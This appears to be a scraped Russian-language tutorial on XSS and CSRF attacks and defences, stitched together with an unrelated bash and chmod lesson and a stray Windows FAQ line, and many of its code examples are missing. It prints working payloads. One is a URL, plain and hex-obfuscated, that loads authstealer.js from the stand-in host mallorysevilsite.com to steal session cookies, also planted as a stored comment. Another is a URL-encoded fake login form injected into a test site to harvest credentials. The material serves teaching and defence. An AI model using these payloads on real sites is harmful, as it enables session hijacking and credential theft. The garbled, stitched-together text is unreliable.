Xss- и csrf-атаки

Различные типы уязвимости Cross-Site Scripting

Существует в основном три различных типа уязвимости Cross-site Scripting; Stored, Reflected и DOM XSS. Ниже мы рассмотрим более подробно каждого из них.

Stored Cross-site Scripting

Уязвимости Stored Cross-site возникают, когда полезная нагрузка (payload) сохраняется, например, в базе данных, а затем выполняется, когда пользователь открывает страницу в веб-приложении. Stored cross-site scripting очень опасно по ряду причин:

• Полезная нагрузка не видна для фильтра XSS браузера
• Пользователи могут случайно активировать полезную нагрузку, если они посещают уязвимую страницу, в то время как для использования Reflected XSS потребуется специально созданный URL-адрес или особые входные данные.

Пример Stored XSS

Stored XSS-уязвимость может возникнуть, если имя пользователя онлайн-доски объявлений не очищено должным образом при выводе на страницу. В этом случае злоумышленник может вставить вредоносный код при регистрации нового пользователя в форме. Когда имя пользователя отражается на странице доски объявлений, оно будет выглядеть так:

Вышеуказанный вредоносный JavaScript запускается каждый раз, когда пользователь посещает этот раздел форума, и он отправляет злоумышленникам файлы cookie доски объявлений, которые хранятся в браузере пользователя, и затем использует их для кражи сеансов пользователя. Stored XSS может быть очень опасной уязвимостью, поскольку может иметь свойство червя — распространяться, особенно при использовании на популярных страницах.

Например, представьте себе доску объявлений или веб-сайт социальной сети, на котором есть общедоступная страница, которая уязвима для уязвимости stored XSS, такой как страница профиля пользователя. Если злоумышленник может разместить вредоносную полезную нагрузку JavaScript, которая добавляет себя на страницу профиля, вектор атаки выполняется каждый раз, когда посетитель открывает страницу, и полезная нагрузка распространяется с экспоненциальным ростом.

Reflected Cross-site Scripting (XSS)

Reflected XSS-уязвимость возникает, когда пользовательский ввод с URL-адреса или данных POST отражается на странице без сохранения, что позволяет злоумышленнику внедрить вредоносный контент. Это означает, что злоумышленник должен отправить созданный вредоносный URL-адрес или почтовую форму жертве, чтобы вставить полезную нагрузку, и жертва должна щелкнуть ссылку. Этот вид полезной нагрузки также обычно определяется встроенными фильтрами XSS в браузерах пользователя, таких как Chrome, Internet Explorer или Edge.

Пример Reflected XSS

В качестве примера XSS-атак мы будем использовать функцию поиска на новостном веб-сайте, которая работает путем добавления пользовательского ввода, полученного из запроса GET HTTP, к параметру q, как показано в следующем примере:

В результатах поиска веб-сайт отражает содержание запроса, который искал пользователь, например:

Если функция поиска уязвима для уязвимости reflected cross-site scripting, злоумышленник может отправить жертве вредоносный URL-адрес, такой как приведенный ниже:

Когда жертва нажимает на вредоносный URL-адрес, выполняется атака XSS, и на веб-сайте отображается следующее:

Исходный код HTML, который отражает вредоносный код злоумышленника, перенаправляет браузер жертвы на веб-сайт, который контролируется злоумышленником, который затем крадет текущие файлы cookie / токены сеанса пользователя из браузера жертвы для сайта example.com в качестве параметра GET,

Frequently asked questions

Как изменить размер значков на рабочем столе windows 7/10

How does Cross-site Scripting work?

In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web page to deliver malicious JavaScript to your user. The user’s browser executes this malicious JavaScript on the user’s computer. Note that about one in three websites is vulnerable to Cross-site scripting.

Why is Cross-site Scripting dangerous?

Even though a Cross-site Scripting attack happens in the user’s browser, it may affect your website or web application. For example, an attacker may use it to steal user credentials and log in to your website as that user. If that user is an administrator, the attacker gains control over your website.

How to discover Cross-site Scripting?

To discover Cross-site Scripting, you may either perform manual penetration testing or first use a vulnerability scanner. If you use a vulnerability scanner, it will save you a lot of time and money because your penetration testers can then focus on more challenging vulnerabilities.

How to protect against Cross-site Scripting?

To protect against Cross-site Scripting, you must scan your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to popular opinions, web application firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.

Скрипты

Для выполнения нескольких команд одним вызовом удобно использовать скрипты. Скрипт – это текстовый файл, содержащий команды для shell. Это могут быть как внутренние команды shell, так и вызовы внешних исполняемых файлов.

Как правило, имя файла скрипта имеет окончание .sh, но это не является обязательным требованием и используется лишь для того, чтобы пользователю было удобнее ориентироваться по имени файла. Для интерпретатора более важным является содержимое файла, а также права доступа к нему.

Перейдем в домашнюю директорию командой и создадим в ней с помощью редактора nano ()файл, содержащий 2 строки:

Чтобы выйти из редактора nano после набора текста скрипта, нужно нажать Ctrl+X, далее на вопрос «Save modified buffer?» нажать Y, далее на запрос «File Name to Write:» нажать Enter. При желании можно использовать любой другой текстовый редактор.

Скрипт запускается командой , т.е. перед именем файла указывает на то, что нужно выполнить скрипт или исполняемый файл, находящийся в текущей директории. Если выполнить команду , то будет выдана ошибка, т.к. оболочка будет искать файл в директориях, указанных в переменной среды PATH, а также среди встроенных команд (таких, как, например, pwd):

Ошибки не будет, если выполнять скрипт с указанием абсолютного пути, но данный подход является менее универсальным: . Однако на данном этапе при попытке выполнить созданный файл будет выдана ошибка:

Проверим права доступа к файлу:

Из вывода команды видно, что отсутствуют права на выполнение. Рассмотрим подробнее на картинке:

Права доступа задаются тремя наборами: для пользователя, которому принадлежит файл; для группы, в которую входит пользователь; и для всех остальных. Здесь r, w и x означают соответственно доступ на чтение, запись и выполнение.

В нашем примере пользователь (test) имеет доступ на чтение и запись, группа также имеет доступ на чтение и запись, все остальные – только на чтение. Эти права выданы в соответствии с правами, заданными по умолчанию, которые можно проверить командой . Изменить права по умолчанию можно, добавив вызов команды umask с нужными параметрами в файл профиля пользователя (файл ~/.profile), либо для всех пользователей в общесистемный профиль (файл /etc/profile).

Для того, чтобы установить права, используется команда . Например, чтобы выдать права на выполнение файла всем пользователям, нужно выполнить команду:

Чтобы выдать права на чтение и выполнение пользователю и группе:

Чтобы запретить доступ на запись (изменение содержимого) файла всем:

Также для указания прав можно использовать маску. Например, чтобы разрешить права на чтение, запись, выполнение пользователю, чтение и выполнение группе, и чтение – для остальных, нужно выполнить:

Будут выданы права :

Указывая 3 цифры, мы задаем соответствующие маски для каждой из трех групп. Переведя цифру в двоичную систему, можно понять, каким правам она соответствует. Иллюстрация для нашего примера:

Символ перед наборами прав доступа указывает на тип файла ( означает обычный файл, – директория, – ссылка, – символьное устройство, – блочное устройство, и т. д.). Соответствие числа, его двоичного представления и прав доступ можно представить в виде таблицы:

Число	Двоичный вид	Права доступа
000	Нет прав
1	001	Только выполнение (x)
2	010	Только запись (w)
3	011	Запись и выполнение (wx)
4	100	Только чтение (r)
5	101	Чтение и выполнение (rx)
6	110	Чтение и запись (rw)
7	111	Чтение, запись и выполнение (rwx)

Выдав права на выполнение, можно выполнить скрипт:

Первая строка в скрипте содержит текст . Пара символов называется Шеба́нг (англ. shebang) и используется для указания интерпретатору, с помощью какой оболочки выполнять указанный скрипт. Это гарантирует корректность исполнения скрипта в нужной оболочке в случае, если у пользователя будет указана другая.

Также в скриптах можно встретить строку . Но, как правило, /bin/sh является ссылкой на конкретный shell, и в нашем случае /bin/sh ссылается на /bin/dash, поэтому лучше явно указывать необходимый интерпретатор. Вторая строка содержит команду , результат работы которой мы видим в приведенном выводе.

Практический пример XSS на тестовом сайте

Следующий пример не является хакерским пособием. Это всего лишь демонстрация того, как можно использовать XSS для контроля и изменения выполняемых функций страницы и как менять метод обработки данных на странице. Практическое использование этого примера можно оспорить, однако все желающие могут ознакомиться со стандартными отчетами, в которых описано применение улучшенных XSS для получения комплексных результатов, не вызывающих подозрения у пользователя. Уверен, это будет Вам интересно.

Введите в браузере адрес следующей страницы: http://testasp.acunetix.com/Search.asp, Вы увидите, что это простая страница с полем ввода текста поискового запроса

Рисунок 1
Попробуйте вставить следующий код в поле поиска и обратите внимание на то, как на странице будет отображаться поле регистрации: Please login with the form below before proceeding:

Login:
Password:

После вставки кода просто нажмите кнопку «Поиск». Рисунок 2

Из-за уязвимости страницы к XSS, стало возможным создать поддельную форму регистрации, которое можно использовать для сбора параметров доступа пользователя. На этапе 2 видно, что код содержит элемент «destination.asp». Здесь хакер может определить, куда поддельная форма регистрации будет отсылать параметры доступа для дальнейшего использования в преступных целях.

Хакер также может внедрить данный код, пропустив его через поле адреса браузера, как показано ниже:

http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+ proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E

 

Рисунок 3

Это даст тот же результат, что демонстрирует различные способы применения XSS для достижения одних и тех же целей. После того, как хакер получит параметры доступа пользователя, он может легко вернуть настоящую страницу поиска, и пользователь даже не поймет, что его только что обманули. Также этот метод может применяться и при рассылке спама, который мы получаем каждый день. Очень часто пользователь находит у себя в ящике письмо, в котором сообщается, что на определенном интернет-аукционе кто-то использует аккаунт пользователя с преступными целями. Затем пользователя просят нажать на ссылку для подтверждения личности. Это тот же самый метод, при котором пользователя перенаправляют к поддельной форме регистрации, где его параметры доступа будут скопированы и отосланы хакеру.

Impact of Cross Site Scripting XSS

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread web worms or access the user’s computer and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:

• Hijack an account.
• Spread web worms.
• Access browser history and clipboard contents.
• Control the browser remotely.
• Scan and exploit intranet appliances and applications.

XSS Auditor

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера – вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:

2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).

2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

1. Мэлори имеет аккаунт на сайте Боба.
2. Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
3. Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
4. В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
5. Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
6. Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Input & Output так называемый Источник & Приемник

Логика, лежащая в основе DOM XSS, заключается в том, что ввод от пользователя (источника) направляется в точку выполнения (приемник). В предыдущем примере нашим источником был document.baseURI, а приемником был document.write.

Однако вам нужно понять, что DOM XSS появится, когда источник, которым может управлять пользователь, будет использоваться в опасном приемнике.

Поэтому, когда вы видите это, вам нужно либо внести необходимые изменения в код, чтобы избежать уязвимости для DOM XSS, либо добавить кодировку соответствующим образом.

Ниже приведен список источников и приемников, которые обычно предназначены для атак DOM XSS

Обратите внимание, что это не полный список, но вы можете определить шаблон, все, что может контролироваться злоумышленником в источнике, и все, что может привести к выполнению сценария в приемнике

Популярные приемники

• HTML модифицированные приемники
  • document.write
  • (element).innerHTML
• HTML модифицированные для изменения поведения
• Приемники связанные с выполнением кода
  • eval
  • setTimout / setInterval
  • execScript

Background [ edit ]

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term «cross-site scripting» in January 2000. The expression «cross-site scripting» originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, Facebook, MySpace, YouTube and Orkut. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.

How Cross-site Scripting Works

There are two stages to a typical XSS attack:

1. To run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject malicious code (payload) into a web page that the victim visits.
2. After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.

For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:

The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:

The web server provides the following HTML code to users that visit this web page:

When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.

Насколько серьезны CSRF-уязвимости?

• Account takeover — атакующий захватывает аккаунт жертвы путем смены email через CSRF.
• Privilege Escalation — повышение привилегий за счет того, что атакующий через CSRF создает нового пользователя с высокими правами в системе.
• Remote code execution — выполнение кода за счет эксплуатации command injection в админке через CSRF.

OWASP Top 105 местетолько в 8% случаевBugcrowd VRTдостаточно серьезные уязвимости1. CSRF token

• Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
• Токен вставляется в DOM HTML страницы или отдается пользователю через API.
• Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
• Так как атакующий не знает токен, то классическая CSRF-атака не работает.

2. Double submit cookie

• Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
• Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
• Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
• Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.

3. Content-Type based protection

• Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
• Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.

4. Referer-based protection

• Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
• Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.

5. Password confirmation / websudo

• Пользователь должен подтверждать действие с помощью пароля (или секрета).
• Так как атакующий его не знает, то классическая CSRF-атака не работает.

6. SameSite Cookies в Chrome, Opera

• У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
• Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.

позволяют обходить CSRF защиты8 способах обхода защиты

Сценарии обхода:

1. XSS (cross-sitescripting)Можно только смириться2. Dangling markup

3. Уязвимый субдоменfoo.example.comsubdomain takeoverXSS.

• CSRF tokens;
• Double submit cookie;
• Content-Type based protection.

CORS

1. Access-Control-Allow-Origin: foo.example.com (foo.example.com — уязвимый субдомен);
2. Access-Control-Allow-Credentials: true — чтобы с помощью XHR API можно было сделать запрос с куками пользователя.

crossdomain.xml

foo.example.com

4. Bad PDFexample.com

leak.pdf5. Cookie injectionCRLFinjectionособенностями обработки куков браузеромбаги браузераCVE-2016-9078)6. Change Content-Type

7. Non-simple Content-Type

• text/plain;
• application/x-www-form-urlencoded;
• multipart/form-data.

• баги в браузерах (например, Navigator.sendBeacon);
• плагины: Flash plugin + 307 redirect и PDF plugin + 307 redirect;
• фреймворки на бэкэнде.

с именем ctypeизвестный багNavigator.sendBeacon().

thehackerblog.comredirect с кодом 3078. Spoof Refererбаг в Microsoft Edgeпробел

• All означает, что для всех браузеров;
• All* означает браузеры, которые не поддерживают SameSite Cookies, т.е. все кроме Chrome и Opera.

• Моделируйте угрозы и проверяйте реализацию CSRF-защиты (см. Итоговую таблицу).
• Имплементируйте SameSite Cookies. Сейчас только два браузера поддерживают, но в дальнейшем, наверное, их будет больше.
• Комбинируйте различные CSRF-защиты — defense in depth.
• Спрашивайте у пользователя пароль для выполнения критичных действий.
• Отдавайте загружаемые пользователем файлы с отдельного домена.